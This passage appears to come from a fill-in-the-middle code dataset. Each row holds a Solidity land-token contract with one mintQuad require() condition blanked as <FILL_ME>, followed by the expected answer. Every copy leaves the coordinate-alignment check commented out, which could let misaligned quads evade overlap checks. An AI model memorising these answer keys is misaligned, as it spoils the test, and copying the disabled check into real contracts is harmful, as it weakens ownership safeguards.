) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup24x24(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _ownerOf(uint256 id) internal view returns (address) {
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| _ownerOf(id)!=address(0),"token does not exist" | 217,397 | _ownerOf(id)!=address(0) |
"Already minted as 24x24" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
require(to != address(0), "to is zero address");
require(isMinter(msg.sender), "Only a minter can mint");
///require(x % size == 0 && y % size == 0, "Invalid coordinates");
require(x <= GRID_SIZE - size && y <= GRID_SIZE - size, "Out of bounds");
uint256 quadId;
uint256 id = x + y * GRID_SIZE;
if (size == 1) {
quadId = id;
} else if (size == 3) {
quadId = LAYER_3x3 + id;
} else if (size == 6) {
quadId = LAYER_6x6 + id;
} else if (size == 12) {
quadId = LAYER_12x12 + id;
} else if (size == 24) {
quadId = LAYER_24x24 + id;
} else {
require(false, "Invalid size");
}
require(<FILL_ME>)
uint256 toX = x + size;
uint256 toY = y + size;
if (size <= 12) {
require(_owners[LAYER_12x12 + (x / 12) * 12 + ((y / 12) * 12) * GRID_SIZE] == 0, "Already minted as 12x12");
} else {
for (uint256 x12i = x; x12i < toX; x12i += 12) {
for (uint256 y12i = y; y12i < toY; y12i += 12) {
uint256 id12x12 = LAYER_12x12 + x12i + y12i * GRID_SIZE;
require(_owners[id12x12] == 0, "Already minted as 12x12");
}
}
}
if (size <= 6) {
require(_owners[LAYER_6x6 + (x / 6) * 6 + ((y / 6) * 6) * GRID_SIZE] == 0, "Already minted as 6x6");
} else {
for (uint256 x6i = x; x6i < toX; x6i += 6) {
for (uint256 y6i = y; y6i < toY; y6i += 6) {
uint256 id6x6 = LAYER_6x6 + x6i + y6i * GRID_SIZE;
require(_owners[id6x6] == 0, "Already minted as 6x6");
}
}
}
if (size <= 3) {
require(_owners[LAYER_3x3 + (x / 3) * 3 + ((y / 3) * 3) * GRID_SIZE] == 0, "Already minted as 3x3");
} else {
for (uint256 x3i = x; x3i < toX; x3i += 3) {
for (uint256 y3i = y; y3i < toY; y3i += 3) {
uint256 id3x3 = LAYER_3x3 + x3i + y3i * GRID_SIZE;
require(_owners[id3x3] == 0, "Already minted as 3x3");
}
}
}
for (uint256 i = 0; i < size * size; i++) {
uint256 id = _idInPath(i, size, x, y);
require(_owners[id] == 0, "Already minted");
emit Transfer(address(0), to, id);
}
_owners[quadId] = uint256(to);
_numNFTPerAddress[to] += size * size;
_checkBatchReceiverAcceptQuad(msg.sender, address(0), to, size, x, y, data);
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup24x24(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _ownerOf(uint256 id) internal view returns (address) {
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| _owners[LAYER_24x24+(x/24)*24+((y/24)*24)*GRID_SIZE]==0,"Already minted as 24x24" | 217,397 | _owners[LAYER_24x24+(x/24)*24+((y/24)*24)*GRID_SIZE]==0 |
"Already minted as 12x12" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
require(to != address(0), "to is zero address");
require(isMinter(msg.sender), "Only a minter can mint");
///require(x % size == 0 && y % size == 0, "Invalid coordinates");
require(x <= GRID_SIZE - size && y <= GRID_SIZE - size, "Out of bounds");
uint256 quadId;
uint256 id = x + y * GRID_SIZE;
if (size == 1) {
quadId = id;
} else if (size == 3) {
quadId = LAYER_3x3 + id;
} else if (size == 6) {
quadId = LAYER_6x6 + id;
} else if (size == 12) {
quadId = LAYER_12x12 + id;
} else if (size == 24) {
quadId = LAYER_24x24 + id;
} else {
require(false, "Invalid size");
}
require(_owners[LAYER_24x24 + (x / 24) * 24 + ((y / 24) * 24) * GRID_SIZE] == 0, "Already minted as 24x24");
uint256 toX = x + size;
uint256 toY = y + size;
if (size <= 12) {
require(<FILL_ME>)
} else {
for (uint256 x12i = x; x12i < toX; x12i += 12) {
for (uint256 y12i = y; y12i < toY; y12i += 12) {
uint256 id12x12 = LAYER_12x12 + x12i + y12i * GRID_SIZE;
require(_owners[id12x12] == 0, "Already minted as 12x12");
}
}
}
if (size <= 6) {
require(_owners[LAYER_6x6 + (x / 6) * 6 + ((y / 6) * 6) * GRID_SIZE] == 0, "Already minted as 6x6");
} else {
for (uint256 x6i = x; x6i < toX; x6i += 6) {
for (uint256 y6i = y; y6i < toY; y6i += 6) {
uint256 id6x6 = LAYER_6x6 + x6i + y6i * GRID_SIZE;
require(_owners[id6x6] == 0, "Already minted as 6x6");
}
}
}
if (size <= 3) {
require(_owners[LAYER_3x3 + (x / 3) * 3 + ((y / 3) * 3) * GRID_SIZE] == 0, "Already minted as 3x3");
} else {
for (uint256 x3i = x; x3i < toX; x3i += 3) {
for (uint256 y3i = y; y3i < toY; y3i += 3) {
uint256 id3x3 = LAYER_3x3 + x3i + y3i * GRID_SIZE;
require(_owners[id3x3] == 0, "Already minted as 3x3");
}
}
}
for (uint256 i = 0; i < size * size; i++) {
uint256 id = _idInPath(i, size, x, y);
require(_owners[id] == 0, "Already minted");
emit Transfer(address(0), to, id);
}
_owners[quadId] = uint256(to);
_numNFTPerAddress[to] += size * size;
_checkBatchReceiverAcceptQuad(msg.sender, address(0), to, size, x, y, data);
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup24x24(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _ownerOf(uint256 id) internal view returns (address) {
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| _owners[LAYER_12x12+(x/12)*12+((y/12)*12)*GRID_SIZE]==0,"Already minted as 12x12" | 217,397 | _owners[LAYER_12x12+(x/12)*12+((y/12)*12)*GRID_SIZE]==0 |
"Already minted as 12x12" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
require(to != address(0), "to is zero address");
require(isMinter(msg.sender), "Only a minter can mint");
///require(x % size == 0 && y % size == 0, "Invalid coordinates");
require(x <= GRID_SIZE - size && y <= GRID_SIZE - size, "Out of bounds");
uint256 quadId;
uint256 id = x + y * GRID_SIZE;
if (size == 1) {
quadId = id;
} else if (size == 3) {
quadId = LAYER_3x3 + id;
} else if (size == 6) {
quadId = LAYER_6x6 + id;
} else if (size == 12) {
quadId = LAYER_12x12 + id;
} else if (size == 24) {
quadId = LAYER_24x24 + id;
} else {
require(false, "Invalid size");
}
require(_owners[LAYER_24x24 + (x / 24) * 24 + ((y / 24) * 24) * GRID_SIZE] == 0, "Already minted as 24x24");
uint256 toX = x + size;
uint256 toY = y + size;
if (size <= 12) {
require(_owners[LAYER_12x12 + (x / 12) * 12 + ((y / 12) * 12) * GRID_SIZE] == 0, "Already minted as 12x12");
} else {
for (uint256 x12i = x; x12i < toX; x12i += 12) {
for (uint256 y12i = y; y12i < toY; y12i += 12) {
uint256 id12x12 = LAYER_12x12 + x12i + y12i * GRID_SIZE;
require(<FILL_ME>)
}
}
}
if (size <= 6) {
require(_owners[LAYER_6x6 + (x / 6) * 6 + ((y / 6) * 6) * GRID_SIZE] == 0, "Already minted as 6x6");
} else {
for (uint256 x6i = x; x6i < toX; x6i += 6) {
for (uint256 y6i = y; y6i < toY; y6i += 6) {
uint256 id6x6 = LAYER_6x6 + x6i + y6i * GRID_SIZE;
require(_owners[id6x6] == 0, "Already minted as 6x6");
}
}
}
if (size <= 3) {
require(_owners[LAYER_3x3 + (x / 3) * 3 + ((y / 3) * 3) * GRID_SIZE] == 0, "Already minted as 3x3");
} else {
for (uint256 x3i = x; x3i < toX; x3i += 3) {
for (uint256 y3i = y; y3i < toY; y3i += 3) {
uint256 id3x3 = LAYER_3x3 + x3i + y3i * GRID_SIZE;
require(_owners[id3x3] == 0, "Already minted as 3x3");
}
}
}
for (uint256 i = 0; i < size * size; i++) {
uint256 id = _idInPath(i, size, x, y);
require(_owners[id] == 0, "Already minted");
emit Transfer(address(0), to, id);
}
_owners[quadId] = uint256(to);
_numNFTPerAddress[to] += size * size;
_checkBatchReceiverAcceptQuad(msg.sender, address(0), to, size, x, y, data);
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup24x24(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _ownerOf(uint256 id) internal view returns (address) {
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| _owners[id12x12]==0,"Already minted as 12x12" | 217,397 | _owners[id12x12]==0 |
"Already minted as 6x6" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
require(to != address(0), "to is zero address");
require(isMinter(msg.sender), "Only a minter can mint");
///require(x % size == 0 && y % size == 0, "Invalid coordinates");
require(x <= GRID_SIZE - size && y <= GRID_SIZE - size, "Out of bounds");
uint256 quadId;
uint256 id = x + y * GRID_SIZE;
if (size == 1) {
quadId = id;
} else if (size == 3) {
quadId = LAYER_3x3 + id;
} else if (size == 6) {
quadId = LAYER_6x6 + id;
} else if (size == 12) {
quadId = LAYER_12x12 + id;
} else if (size == 24) {
quadId = LAYER_24x24 + id;
} else {
require(false, "Invalid size");
}
require(_owners[LAYER_24x24 + (x / 24) * 24 + ((y / 24) * 24) * GRID_SIZE] == 0, "Already minted as 24x24");
uint256 toX = x + size;
uint256 toY = y + size;
if (size <= 12) {
require(_owners[LAYER_12x12 + (x / 12) * 12 + ((y / 12) * 12) * GRID_SIZE] == 0, "Already minted as 12x12");
} else {
for (uint256 x12i = x; x12i < toX; x12i += 12) {
for (uint256 y12i = y; y12i < toY; y12i += 12) {
uint256 id12x12 = LAYER_12x12 + x12i + y12i * GRID_SIZE;
require(_owners[id12x12] == 0, "Already minted as 12x12");
}
}
}
if (size <= 6) {
require(<FILL_ME>)
} else {
for (uint256 x6i = x; x6i < toX; x6i += 6) {
for (uint256 y6i = y; y6i < toY; y6i += 6) {
uint256 id6x6 = LAYER_6x6 + x6i + y6i * GRID_SIZE;
require(_owners[id6x6] == 0, "Already minted as 6x6");
}
}
}
if (size <= 3) {
require(_owners[LAYER_3x3 + (x / 3) * 3 + ((y / 3) * 3) * GRID_SIZE] == 0, "Already minted as 3x3");
} else {
for (uint256 x3i = x; x3i < toX; x3i += 3) {
for (uint256 y3i = y; y3i < toY; y3i += 3) {
uint256 id3x3 = LAYER_3x3 + x3i + y3i * GRID_SIZE;
require(_owners[id3x3] == 0, "Already minted as 3x3");
}
}
}
for (uint256 i = 0; i < size * size; i++) {
uint256 id = _idInPath(i, size, x, y);
require(_owners[id] == 0, "Already minted");
emit Transfer(address(0), to, id);
}
_owners[quadId] = uint256(to);
_numNFTPerAddress[to] += size * size;
_checkBatchReceiverAcceptQuad(msg.sender, address(0), to, size, x, y, data);
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup24x24(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _ownerOf(uint256 id) internal view returns (address) {
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| _owners[LAYER_6x6+(x/6)*6+((y/6)*6)*GRID_SIZE]==0,"Already minted as 6x6" | 217,397 | _owners[LAYER_6x6+(x/6)*6+((y/6)*6)*GRID_SIZE]==0 |
"Already minted as 6x6" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
require(to != address(0), "to is zero address");
require(isMinter(msg.sender), "Only a minter can mint");
///require(x % size == 0 && y % size == 0, "Invalid coordinates");
require(x <= GRID_SIZE - size && y <= GRID_SIZE - size, "Out of bounds");
uint256 quadId;
uint256 id = x + y * GRID_SIZE;
if (size == 1) {
quadId = id;
} else if (size == 3) {
quadId = LAYER_3x3 + id;
} else if (size == 6) {
quadId = LAYER_6x6 + id;
} else if (size == 12) {
quadId = LAYER_12x12 + id;
} else if (size == 24) {
quadId = LAYER_24x24 + id;
} else {
require(false, "Invalid size");
}
require(_owners[LAYER_24x24 + (x / 24) * 24 + ((y / 24) * 24) * GRID_SIZE] == 0, "Already minted as 24x24");
uint256 toX = x + size;
uint256 toY = y + size;
if (size <= 12) {
require(_owners[LAYER_12x12 + (x / 12) * 12 + ((y / 12) * 12) * GRID_SIZE] == 0, "Already minted as 12x12");
} else {
for (uint256 x12i = x; x12i < toX; x12i += 12) {
for (uint256 y12i = y; y12i < toY; y12i += 12) {
uint256 id12x12 = LAYER_12x12 + x12i + y12i * GRID_SIZE;
require(_owners[id12x12] == 0, "Already minted as 12x12");
}
}
}
if (size <= 6) {
require(_owners[LAYER_6x6 + (x / 6) * 6 + ((y / 6) * 6) * GRID_SIZE] == 0, "Already minted as 6x6");
} else {
for (uint256 x6i = x; x6i < toX; x6i += 6) {
for (uint256 y6i = y; y6i < toY; y6i += 6) {
uint256 id6x6 = LAYER_6x6 + x6i + y6i * GRID_SIZE;
require(<FILL_ME>)
}
}
}
if (size <= 3) {
require(_owners[LAYER_3x3 + (x / 3) * 3 + ((y / 3) * 3) * GRID_SIZE] == 0, "Already minted as 3x3");
} else {
for (uint256 x3i = x; x3i < toX; x3i += 3) {
for (uint256 y3i = y; y3i < toY; y3i += 3) {
uint256 id3x3 = LAYER_3x3 + x3i + y3i * GRID_SIZE;
require(_owners[id3x3] == 0, "Already minted as 3x3");
}
}
}
for (uint256 i = 0; i < size * size; i++) {
